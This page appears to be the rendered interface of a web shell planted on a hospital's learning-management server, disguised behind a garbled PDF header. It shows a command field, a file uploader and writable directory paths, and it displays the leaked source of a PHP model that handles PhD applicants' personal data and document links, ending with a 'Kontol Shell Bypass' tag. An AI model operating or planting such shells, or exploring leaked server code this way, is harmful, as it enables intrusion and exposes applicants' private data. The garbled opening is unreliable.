%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/Phdform_model.php
<?php 
class Phdform_model extends CI_Model {
	function __construct() {
        parent::__construct();
    }

    function detail($app_id=APP_ID){
        $f="A.id app_id, A.application_no, U.name, U.email, U.mob, U.dob, U.gender, U.cat_id, U.religion_id, U.state_id, U.city_id, U.city, U.pincode, U.address, U.father_name, 
            A.program_id, A.plan_id, A.ac_id, U.abc_id";
        $adtl=$this->db->select($f)
            ->from("applications A")
            ->join("applicants U", "A.applicant_id=U.id")
            ->where(["A.id"=>$app_id])
            ->get()->row_array();
        $adtl['dob']=get_date($adtl['dob']);

        $d=$this->db->from("phd_app_form")->where(['app_id'=>$app_id])->get()->row_array();
        
        if($d){
            $d['signature_url']=($d['signature']) ? UP_URLF.'admissions/signatures/'.$d['signature'] : '';
            $d['profile_photo_url'] = ($d['profile_photo']) ? UP_URLF.'admissions/profiles/'.$d['profile_photo'] : '';
            $d['id_proof_img_url'] = ($d['id_proof_img']) ? UP_URLF.'admissions/docs/'.$d['id_proof_img'] : '';
            $d['exp_certificate_url'] = ($d['exp_certificate']) ? UP_URLF.'admissions/docs/'.$d['exp_certificate'] : '';
            $d['pg_degree_url'] = ($d['pg_degree']) ? UP_URLF.'admissions/docs/'.$d['pg_degree'] : '';
            
            $d['marksheet_10th_url'] = ($d['marksheet_10th']) ? UP_URLF.'admissions/docs/'.$d['marksheet_10th'] : '';
            $d['marksheet_12th_url'] = ($d['marksheet_12th']) ? UP_URLF.'admissions/docs/'.$d['marksheet_12th'] : '';
            $d['marksheet_mphil_url'] = ($d['marksheet_mphil']) ? UP_URLF.'admissions/docs/'.$d['marksheet_mphil'] : '';
            $d['marksheet_other_url'] = ($d['marksheet_other']) ? UP_URLF.'admissions/docs/'.$d['marksheet_other'] : '';

            if($d['marksheet_ug']){
                $marksheet_ug = explode(",",$d['marksheet_ug']);
                $d['marksheet_ug']=[];
                
                foreach($marksheet_ug as $i=>$r){
                    $d['marksheet_ug'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
                    $d['marksheet_ug'][$i]['name'] = $r;
                }
            }

            if($d['marksheet_pg']){
                $marksheet_pg = explode(",",$d['marksheet_pg']);
                $d['marksheet_pg']=[];
                foreach($marksheet_pg as $i=>$r){
                    $d['marksheet_pg'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
                    $d['marksheet_pg'][$i]['name'] = $r;
                }
            }

            
            $d['domicile_state'] = $this->db->select("code")->from("master_states")->where(['id'=>$d['domicile_state_id']])->get()->row_array()['code'];
            //$d['application_no'] = $this->db->select("application_no")->from("applications")->where(['id'=>$d['app_id']])->get()->row_array()['application_no'];
            $d['category'] = $this->db->select("ps_code")->from("master_applicat_cats")->where(['id'=>$adtl['cat_id']])->get()->row_array()['ps_code'];
            $d['religion'] = $this->db->select("ps_code")->from("master_applicat_religions")->where(['id'=>$adtl['religion_id']])->get()->row_array()['ps_code'];

            $d['program'] = $this->db->select("title")->from("master_programs")->where(['id'=>$adtl['program_id']])->get()->row_array()['title'];
            $d['plan'] = $this->db->select("title")->from("master_program_plans")->where(['id'=>$adtl['plan_id']])->get()->row_array()['title'];
            $d['state'] = $this->db->select("title")->from("master_states")->where(['id'=>$adtl['state_id']])->get()->row_array()['title'];
            $d['city'] = $this->db->select("title")->from("master_cities")->where(['id'=>$adtl['city_id']])->get()->row_array()['title'];

            $d['school_state_10th'] = $this->db->select("title")->from("master_states")->where(['id'=>$d['school_state_id_10th']])->get()->row_array()['title'];
            $d['school_state_12th'] = $this->db->select("title")->from("master_states")->where(['id'=>$d['school_state_id_12th']])->get()->row_array()['title'];
            $state = $this->db->select("title")->from("master_states")->where(['id'=>$d['school_state_id_ug']])->get()->row_array();
            $d['school_state_ug'] = ($state) ? $state['title'] : '';
            $state = $this->db->select("title")->from("master_states")->where(['id'=>$d['school_state_id_pg']])->get()->row_array();
            $d['school_state_pg'] = ($state) ? $state['title'] : '';

            $mschemes=key_val_array($this->db->select("id, title")->get("master_marking_schemes")->result_array(), 'id', 'title');
            $d['marking_scheme_10th']=$mschemes[$d['marking_scheme_id_10th']];
            $d['marking_scheme_12th']=$mschemes[$d['marking_scheme_id_12th']];
            $d['marking_scheme_ug']=$mschemes[$d['marking_scheme_id_ug']];
            $d['marking_scheme_pg']=$mschemes[$d['marking_scheme_id_pg']];

            $d['ps_app_no']=$this->db->select("ADM_APPL_NBR")->get_where("ps_stu_status", ['EMPLID'=>$d['application_no']])->row()->ADM_APPL_NBR;

        }else{
            $d=[];
            $d['physically_challenged']='N';
            $d['house_income']='';
            $d['id_proof']='';
            $d['source_of_info']='';
        }

        foreach($adtl as $k=>$v){
            $d[$k]=$v;
        }

        $d['school_state_id_10th']=$d['school_state_id_10th']?$d['school_state_id_10th']:'';
        $cols=[
                'state_id', 'city_id', 'cat_id', 'religion_id',
                'board_id_10th', 'marking_scheme_id_10th', 'school_state_id_10th', 
                'board_id_12th', 'marking_scheme_id_12th', 'school_state_id_12th', 
                'board_id_dip', 'marking_scheme_id_dip', 'school_state_id_dip',
                'university_id_ug', 'marking_scheme_id_ug', 'school_state_id_ug',
                'university_id_othr', 'marking_scheme_id_othr', 'school_state_id_othr', 
                'university_id_pg', 'marking_scheme_id_pg', 'school_state_id_pg',
            ];
        foreach($cols as $k){
            $d[$k]=$d[$k]?$d[$k]:'';
        }
        
        if(!$d['step_completed'] || $d['step_completed']<2){
            $d['status_10th']=$d['status_12th']=$d['status_dip']=$d['status_ug']=$d['status_pg']=$d['status_othr']='';
        }

        foreach($d as $k=>$v){
            if(strpos($k, 'passing_year')!==FALSE){
                if(!$d[$k]){
                    $d[$k]='';
                }
            }
        }

        $d['dob']=get_date($d['dob']);
        $d['step_completed']=(int)$d['step_completed'];
        $d['final_submitted']=(int)$d['final_submitted'];

        $d['admission_card_url']=URL.'admform/admission_form/'.encode($d['app_id']).'/'.$d['application_no'];

        return $d; 
    }

    function acs(){
        return $this->db->select("id, title")->order_by("disp_odr")->get_where("master_academic_careers", array('status'=>1))->result_array();
    }

    function disciplines(){
        $rs=$this->db->select("id, title")
            ->from("master_disciplines")
            ->order_by("disp_odr")
            ->get()->result_array();

        return $rs;
    }
    function programs(){
        $rs=$this->db->select("P.id, P.title, P.ac_id")
            ->from("master_programs P")
            ->where(['P.status'=>1])
            ->order_by("title")
            ->get()->result_array();

        return $rs;
    }
    function plans(){
        $rs=$this->db->select("PP.id, PP.program_id, PP.title, PP.code, P.discipline_id, P.ac_id")
            ->from("master_program_plans PP")
            ->join("master_programs P", "P.id=PP.program_id")
			->where(['PP.status'=>1])
			->order_by("PP.title")->get()->result_array();

		return $rs;
    }
    function states(){
        return $this->db->select("id, title")->order_by("title")->get_where("master_states", array('status'=>1))->result_array();
    }
    function cities(){
        $cond=array('status'=>1);
        return $this->db->select("id, state_id, title, pincode")->order_by("title")->get_where("master_cities", $cond)->result_array();
    }
    function marking_schemes(){
        $res=$this->db->select("id, title, allowed_data")->from("master_marking_schemes")->where("status", 1)->order_by("disp_odr")->get()->result_array();
        /* foreach($res as $k=>$v){
            $v['allowed_data']=trim($v['allowed_data']); 
            $res[$k]['allowed_values'] = explode(',',$v['allowed_data']);
        } */
        return $res;
    }
    function boards(){
		return $this->db->select("id, title")->from("master_edu_boards")->where("status", 1)->order_by("title")->get()->result_array();
    }
    function universities(){
		return $this->db->select("id, title")->from("master_universities")->where("status", 1)->order_by("title")->get()->result_array();
    }
    function religions(){
		return $this->db->select("id, title")->from("master_applicat_religions")->where("status", 1)->order_by("disp_odr")->get()->result_array();
    }
    function applicant_cats(){
		return $this->db->select("id, title")->from("master_applicat_cats")->where("status", 1)->order_by("disp_odr")->get()->result_array();
    }

    
    /** */
    function save_step1($data, $data1, $data2){
        $data['app_id'] = APP_ID;
        $adm_form=$this->db->select("id")->get_where("phd_app_form", ['app_id'=>APP_ID])->row();
        if($adm_form){
            $data['id']=$adm_form->id;
        }

        $data1['id']=USER_ID;
        $this->dba->save('applicants', $data1);

        $data2['id']=APP_ID;
        $this->dba->save('applications', $data2);

        if($data['abc_id']){
            $applicant_id=$this->db->select("applicant_id")->get_where("applications", ['id'=>APP_ID])->row("applicant_id");
            $this->dba->save('applicants', ['id'=>$applicant_id, 'abc_id'=>$data['abc_id']]);
        }

        return $this->dba->save('phd_app_form', $data);
    }

    function save_step2($data){
        $res=['success'=>false, 'msg'=>'Error!'];
        $data['id']=(int)$this->db->select("id")->get_where("phd_app_form", ['app_id'=>APP_ID])->row()->id;

        if(!$data['id']){
            throw new \Exception("First Save Step 1");
        }

        if($this->dba->save("phd_app_form", $data)){
            if($data['step_completed']=='2'){
                $data2=['id'=>APP_ID, 'step_completed'=>2];
                $this->dba->save('applications', $data2);
            }
            $res=['success'=>true, 'msg'=>'Educational Details completed successfully'];
        }

        return $res;
    }

    function get_step_completed(){
        $rs=$this->db->select("step_completed, final_submitted")->get_where("phd_app_form", ['app_id'=>APP_ID])->row_array();
        $rs['step_completed']=(int)$rs['step_completed'];
        $rs['final_submitted']=(int)$rs['final_submitted'];
        return $rs;
    }
}

//End of file

Kontol Shell Bypass